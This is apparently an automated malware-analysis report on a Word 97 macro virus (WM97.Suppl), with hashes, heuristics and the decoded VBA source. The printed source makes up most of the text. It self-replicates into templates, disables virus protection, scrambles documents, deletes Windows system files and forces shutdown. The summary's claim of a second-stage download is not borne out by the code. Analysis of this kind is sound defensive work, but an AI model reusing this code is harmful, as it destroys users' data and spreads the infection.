Office (OLE) malware analysis — malicious · b6ff0324e972b558

MALICIOUS

Office (OLE)

66.5 KB Created: 2000-06-21 06:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: a995b16bdbd2db41db561237d796a6ef SHA-1: 8253f5473792d3d2f08505af0cfb0bc9c16e61b9 SHA-256: b6ff0324e972b5588904b4eb26eb9340fb53a081628a868c4706d7eb8ee10976

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Biergit-2'. It contains legacy WordBasic macro markers and a large VBA macro, including an AutoOpen subroutine, indicating it is designed to execute automatically upon opening. The macro's obfuscated nature and truncated content suggest it attempts to download and execute a second-stage payload.

Heuristics 6

ClamAV: Doc.Trojan.Biergit-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Biergit-2
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	75222 bytes
SHA-256: `708e54a88796066ca4b1cd7482440aa9c9760f4151a786113a655b04045b5c3c`
Detection ClamAV: No threats found Obfuscation or payload: likely 163 of 303 identifiers look randomly generated (e.g. 'PrGtSuAvTxQqHgRiEnVpOyUmPgBoTrKfUyNtOtHh') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Suppl" Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer Rem KHZUSKTHJLYDQJCECL Rem KHZUSKTHJLYDQJCECL Rem KHZUSKTHJLYDQJCECL Rem KHZUSKTHJLYDQJCECL Rem KHZUSKTHJLYDQJCECL Rem XLRNNMJKHBGZBKJMEMGQOE Rem XLRNNMJKHBGZBKJMEMGQOE Rem KHZUSKTHJLYDQJCECL Rem XLRNNMJKHBGZBKJMEMGQOE Rem KHZUSKTHJLYDQJCECL Rem XLRNNMJKHBGZBKJMEMGQOE Rem XLRNNMJKHBGZBKJMEMGQOE Sub FfPiJx2355() Rem XLRNNMJKHBGZBKJMEMGQOE Rem XLRNNMJKHBGZBKJMEMGQOE ' -= [LineZerO's Macro Engine 1.2] =- ' -= [WM97.Suppl] =- ' -= [ID: 20264-Gj-91612355-Ij.W] =- OfPyPpJwSwEkUgItVfFy = SgAzGjPyDpRn & RsFuPyCzMiQqLjVzIpTwNxHyCvMxJqQvFfKlDrQtLxNqMpGiDrQiDpJz60749385 On Error Resume Next VqIuHyAnTtHu = HkVjOmAnLfKxHoNtIhTwVlPzKu & DsSmUnUvNqVmFtVmCyTjOhJmTrRi62584069 WordBasic.DisableAutoMacros 0 IiFmBhElDfVwKyTeRzIrUjTvTmFpGxCyBlFkJg = SsDhPlTgBlAuUeInUiSiQlGrLwPkViApCp & CeViOfQyKyByMoPnKxDoMz4992067 ActiveDocument.ReadOnlyRecommended = False KiMuOj = IgOvVfOwGtLlSjClVsQlIhBqGfUhGlRxUoDrFsIv & SlLkPtUn93132828 With Application PgSuKeSfNrBiPs = RsHhImKgJsTk & PrGtSuAvTxQqHgRiEnVpOyUmPgBoTrKfUyNtOtHhGtHsRzMoMiHmOjAeKfRw84612419 .EnableCancelKey = wdCancelDisabled RnBhLpAyToTiTkGfReFiDwEjGt = TzMxOvTyAtFrHiLvTqUtCpVfDyKiLz & GoHhHxIkHhNxAuCoHlTsLoIzIrOlBfMnSsIsHhGfTqSuDuRkCoUrVoMzSyTo15297737 .DisplayAlerts = wdAlertsNone ExGxNpMwEgCjUtGzNyRoMzKjJvCkEtAhNgUw = PkGm & OxQiSjOjCjGwKeQkVtRiKkCsGyPfPpQtPiDiApJoPrIvIwJiIgDzNlTtUmMi79282683 End With JuRvKyUnLnJvHtBeVpKxQjBrExElHzOgDxBx = KnVjQsUvNvTkFsSsCjPqAlJwIsKvQlIxMf & OsDkUeBzJnJhJwThIlMtSqHw922567 With Options Rem CPEYCLHWTHRGCA NpEyMwSwCzToVhJfUzAvGpGlIyHuIfFtKqMuDzIx = OmOoVzJmUjNiHx & CgPsQoCyUeCsFlGqLmMwRiHrAmFjReQhUtLsDzLqFxOiPy64664801 Rem CPEYCLHWTHRGCA .ConfirmConversions = False Rem CPEYCLHWTHRGCA FtVkLkCsQhNmCmSuBtIhQeKiTyTn = PoFpDgHsNlOmKtIjEhMkPsKf & NuDwHeJzTwAoCpSjLpSwLzOkVtUlDwNwGsOqIrSvFqVxPoFlEy93161660 Rem CPEYCLHWTHRGCA .VirusProtection = False Rem CPEYCLHWTHRGCA Rem CZRAOCCUHBHJHYZKHEEQKK Rem CPEYCLHWTHRGCA Rem CZRAOCCUHBHJHYZKHEEQKK RxTpVxNsOmMr = CiQgLjKtRkLoEmOmMgGjKsHuBmPzNoIvSgIz & AmOzPgGtLmTsErHjVrRpBnQxPsPlUvPsEiFi64742405 Rem CPEYCLHWTHRGCA Rem CZRAOCCUHBHJHYZKHEEQKK Rem JATVHSKV Rem CZRAOCCUHBHJHYZKHEEQKK End With Rem CZRAOCCUHBHJHYZKHEEQKK Rem JATVHSKV Rem CZRAOCCUHBHJHYZKHEEQKK Rem JATVHSKV Rem CZRAOCCUHBHJHYZKHEEQKK Rem JATVHSKV Rem JATVHSKV Rem JATVHSKV TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 Rem JATVHSKV 'This code is taken from Pyro \| Thanks DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 Set Current = MacroContainer ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 For Grow = 1 To 20 Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG Number = Current.VBProject.VBComponents("Suppl").CodeModule.ProcCountLines("FfPiJx2355", vbext_pk_Proc) NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 RandomLine = Int(Rnd() * Number + 1) SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 RemarkLength = Int(Rnd() * 40 + 1) BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 For Length = 1 To RemarkLength HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65)) Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 Next Length JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 Rem OSXV Rem OSXV Rem OSXV Rem OSXV Rem OSXV Rem OSXV Rem OSXV Current.VBProject.VBComponents("Suppl").CodeModule.InsertLines RandomLine, vbTab & "Rem " & Remark JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 Rem DEBSN Rem DEBSN Rem DEBSN Rem DEBSN Rem DEBSN Rem QQGHVVPZXFSZ Rem DEBSN Rem QQGHVVPZXFSZ Rem QQGHVVPZXFSZ Rem DEBSN Rem QQGHVVPZXFSZ Remark = "" Rem QQGHVVPZXFSZ Rem QQGHVVPZXFSZ OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 Rem QQGHVVPZXFSZ Next Grow TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 MsgBox " ", vbOkOnly, "Suppl" DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 Rem TKMM Rem TKMM ActiveDocument.Password = "suppl" Rem TKMM Rem TKMM Rem TKMM ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 Rem MTTKXTCQS Rem MTTKXTCQS Rem TKMM Rem MTTKXTCQS Rem TKMM Rem MTTKXTCQS ActiveDocument.SaveAs ActiveDocument.FullName Rem MTTKXTCQS Rem MTTKXTCQS Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 Rem MTTKXTCQS Application.Caption = "suppl" NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 Application.Username = "suppl" SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "suppl" BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 Selection.Wholestory HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 Selection.Cut QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 ActiveDocument.SaveAs ActiveDocument.FullName JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 Dim a As Variant JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 Dim b As Variant OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 Selection.Wholestory TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 Rem PHHUATVSBKWUJZWBYJNTBP Rem PHHUATVSBKWUJZWBYJNTBP Rem PHHUATVSBKWUJZWBYJNTBP Rem QFEPCLXGUJHXQQ Rem PHHUATVSBKWUJZWBYJNTBP Rem PHHUATVSBKWUJZWBYJNTBP Rem PHHUATVSBKWUJZWBYJNTBP Rem PHHUATVSBKWUJZWBYJNTBP Rem QFEPCLXGUJHXQQ Rem QFEPCLXGUJHXQQ Rem QFEPCLXGUJHXQQ Rem QFEPCLXGUJHXQQ Rem QFEPCLXGUJHXQQ Rem QFEPCLXGUJHXQQ a = Selection DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 Rem CKISIUDPYGYCZQPXOG For i = 1 To Len(a) Rem CKISIUDPYGYCZQPXOG Rem CKISIUDPYGYCZQPXOG Rem CKISIUDPYGYCZQPXOG Rem CKISIUDPYGYCZQPXOG Rem CKISIUDPYGYCZQPXOG Rem CKISIUDPYGYCZQPXOG ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 b = Mid$(a, i, 1) Rem VFYBBUJ Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 Rem NTU Rem VFYBBUJ Rem NTU Rem VFYBBUJ Rem NTU Rem VFYBBUJ c = Asc(Mid$(a, i, 1)) Rem NTU Rem VFYBBUJ Rem NTU Rem VFYBBUJ Rem NTU Rem VFYBBUJ NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 Rem NTU d = c + 29 SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 If d > 199 Then c = 30 BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 e$ = e$ + Chr(d) HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 Next i QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 Selection.Wholestory JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 Selection.Cut JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 WordBasic.Insert e$ OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 Kill ("c:\windows\system\.") TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 Kill ("C:\WINDOWS\SYSTEM\.") DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY Rem NKCULTPVAFBCIDANROVCERLJDSY While ShowCursor(False) >= 0 ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Rem MZFJKHNDNZOXRLSBTSMEFI Wend Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 Call BuUwMl2019 NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 Tasks.ExitWindows SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 End Sub Sub BuUwMl2019() BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 On Error Resume Next HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 Application.CommandBars("Edit").Enabled = False QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 Application.CommandBars("Insert").Enabled = False JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 Application.CommandBars("Format").Enabled = False JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 End Sub Sub Gj9161() OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 On Error Resume Next TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 Application.EnableCancelKey = wdCancelDisabled DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 With Options ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 .SaveNormalPrompt = False Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 .VirusProtection = False NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 .ConfirmConversions = False SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 End With BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 Application.VBE.ActiveVBProject.VBComponents("Suppl").Export "C:\Suppl.sys" HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 With Dialogs(wdDialogFileSummaryInfo) QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 .Author = Chr(74) + Chr(97) + Chr(99) + Chr(107) + Chr(32) + Chr(84) + Chr(119) + Chr(111) + Chr(102) + Chr(108) + Chr(111) + Chr(119) + Chr(101) + Chr(114) + Chr(32) + Chr(45) + Chr(61) + Chr(91) + Chr(76) + Chr(105) + Chr(110) + Chr(101) + Chr(90) + Chr(101) + Chr(114) + Chr(216) + Chr(32) + Chr(86) + Chr(120) + Chr(32) + Chr(84) + Chr(101) + Chr(97) + Chr(109) + Chr(93) + Chr(61) + Chr(45) JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 .Comments = "WM97.Suppl" & Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(76) + Chr(105) + Chr(77) + Chr(69) + Chr(32) + Chr(49) + Chr(46) + Chr(111) JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 .Keywords = "LiME ID: 20264-Gj-91612355-Ij.W" OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 .Execute TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 End With DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 For x = 1 To NormalTemplate.VBProject.VBComponents.Count ImLzDm = OpNeKsFjHjHjRz & QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 If NormalTemplate.VBProject.VBComponents(x).Name = "Suppl" Then HfLiNr6729OqTvGm9161 = True Dr = DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq & SpByJrHqDe60707973 Next x NjVoRuTeGvPgQnSyLlNjOfAeSgUv = OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr & OqOfDo59116380 For y = 1 To ActiveDocument.VBProject.VBComponents.Count SiApLyKm = SfNwJgCx & RoAgDmHrHzKtVvAnTgVeUgUn85932266 If ActiveDocument.VBProject.VBComponents(y).Name = "Suppl" Then OqIyBk2019FfPiJx2355 = True BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv = LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp & TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 Next y HqSqErBtBzVpBr = RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq & KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 If HfLiNr6729OqTvGm9161 = True And OqIyBk2019FfPiJx2355 = False Then Set UlEiEo6498BuUwMl2992 = ActiveDocument.VBProject QjJjTjIzUv = JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe & AuPe60749186 If HfLiNr6729OqTvGm9161 = False And OqIyBk2019FfPiJx2355 = True Then Set UlEiEo6498BuUwMl2992 = NormalTemplate.VBProject JnNmPwUsQjFoCzKxMxClCvSk = OfRnOsUnUzHe & ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 If HfLiNr6729OqTvGm9161 = True And OqIyBk2019FfPiJx2355 = True Then GoTo Ende_ JvMwIk = AvDyEmVpRzJvHrUuUjNvJuJwMw & PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 UlEiEo6498BuUwMl2992.VBComponents.Import "C:\Suppl.sys" OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl = MpFhUuRyViCsOiGsElFvTxQvJx & AjDy98476660 If OqIyBk2019FfPiJx2355 = False Then ActiveDocument.SaveAs (WordBasic.[FileName$]()), FileFormat:=wdFormatDocument TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs = HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy & DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 If HfLiNr6729OqTvGm9161 = False Then NormalTemplate.Save DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm = CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk & CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 GzKrHtTeIeSoUyNv = DoQsCyIgMnGtBuTmEjRiVjGtTtKhJuUnAyQrTl & MqInAzJpEnIzTwVqHf6161794 Ende_: IgKxMfPuSpGvDeTkFoBjFfMxSjTwCkUkJwKnSs = BlCwUuVhNnKsBtSqDeHhVfHsUeCh & LyCfBpHwSgFpFeGkQvOnEiFhJyRlChFvRuRoGiJiBlIlJeMgDeCyGmLwGyRp19522702 Call FfPiJx2355 NeHgMtTxOeGqBiPkCpGsDm = LwQeIfGhHmSiUmUkAsAjDvTxGqLpNmAxNwUzNuNrHkGt & TnSjOqClUqJmMr42663291 End Sub Sub AutoOpen() OfJpChDeQjBlUyTyHhNeLzKkVwQfDtJjFwKzLqSk = MpKkDvPhGuQsBtNzLiBtAkDeKhKgHwIfBsQuAiKzFj & UiPmAfPlTpQgOxEvOoTjLkEnCf91545893 On Error Resume Next TyVnVrLrBqJyGxNzPtGnOjBsQzThGzChSrNzFt = KgOkOxVkUhJhHoPxMjMwQm & VtLhUqDyDmGeMvLqBtKyVuAjEtViTzMhJqPhKpDzKyAmCzNqInGj61196461 Call Gj9161 DqCmLuHyHmCp = VuPnGqQmQjFwMyDtOlAe & CzBjJrBoTgGhAk75701473 Call FfPiJx2355 OsQzJk = VoQgGxJpRwAzLzLpLuOjVlGsTgUjRfQnPtOw & JyPsDsQkAwGkIyOqUkJtCyVwCwJjRxRyTtItLkIgCiQeFsKhVjSmIt1417302 End Sub Sub AutoExit() Cg = InGnSkEeNjOrKuQu & IzIgHvBpVyVuIeItSvChCjKhVkFkRv16222820 On Error Resume Next HfIoBrJrQkLzGkPtAwQxUn = NmNmLvFuTnAiUxFmGtMqOjPkExQnUn & SuDxPyLgUzDkTtUjOoGeIoVyNtGsJuIsUmVeCyDeOhOsLhCy2479350 Call Gj9161 FiLjIkJqJoCxHgRzEeAtCmFuLiPzOwLuEeTy = GtPpMuMkRgNx & NhTyGoErVlLjGkHrVeAsPnDrJgNhTsJuBfJuJiIxUtDzLiRgVnMoMh87146017 Call FfPiJx2355 IsOpDsCeBr = NmUgJkLiSuNqFsTqBnDgHx & SgDnAxPqAhKoAuHzJmMrNrIk8927362 End Sub Sub AutoNew() HsGh = MrUjMwOhPjAsQwIgJo & DvBrTvInDuVkCmNhOuVtUhMgLzTvRzCsJuJjDs36374051 On Error Resume Next LpSg = JeGwThVtCiQsCmBpNuQhStAwLtSsLfFmIkHrBnBuIrQeBj & HvPw36269471 Call Gj9161 Dp = IlMlEqPyHzHyVoSkUrMtIiEfVkNo & CkMhMtFfGsIkMzEfDlEtCxMiIxGpAsFwNyTkLjNrCsCoLwVt13457614 Call FfPiJx2355 QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 End Sub Sub AutoExec() CjSqEiBeIzDmUlVsOkBoQh = Ae & 